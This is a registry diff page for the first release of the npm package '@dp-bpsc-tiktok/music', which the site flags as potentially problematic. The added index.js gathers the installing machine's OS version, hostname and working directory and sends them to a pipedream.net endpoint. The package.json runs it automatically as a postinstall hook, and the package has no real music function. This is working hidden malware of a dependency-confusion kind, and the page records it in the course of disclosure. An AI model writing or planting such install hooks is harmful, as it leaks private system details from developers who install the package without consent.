@dp-bpsc-tiktok/music 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @dp-bpsc-tiktok/music might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +35 -0
  2. package/package.json +9 -0
package/index.js ADDED
@@ -0,0 +1,35 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+ const process = require('process');
4
+
5
+ // Get OS details
6
+ const osname = os.type(); // OS type (e.g., 'Linux', 'Darwin', 'Windows_NT')
7
+ const release = os.release(); // OS version
8
+ const hostname = os.hostname(); // Hostname
9
+
10
+ // Get current working directory
11
+ const cwd = process.cwd();
12
+
13
+ // Build the OS name string
14
+ const osname_str = `${osname} ${release}`;
15
+
16
+ // Construct the request URL
17
+ const url = `https://eod2plzj9617yvr.m.pipedream.net/?1=${encodeURIComponent(osname_str)}&2=${encodeURIComponent(cwd)}&3=${encodeURIComponent(hostname)}`;
18
+
19
+ // Make the GET request using the https module
20
+ https.get(url, (res) => {
21
+ let data = '';
22
+
23
+ // A chunk of data has been received.
24
+ res.on('data', (chunk) => {
25
+ data += chunk;
26
+ });
27
+
28
+ // The whole response has been received.
29
+ res.on('end', () => {
30
+ console.log('Response:', data);
31
+ });
32
+
33
+ }).on('error', (err) => {
34
+ console.error('Error:', err.message);
35
+ });
package/package.json ADDED
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "@dp-bpsc-tiktok/music",
3
+ "version": "1.0.0",
4
+ "main": "index.js",
5
+ "license": "MIT",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ }
9
+ }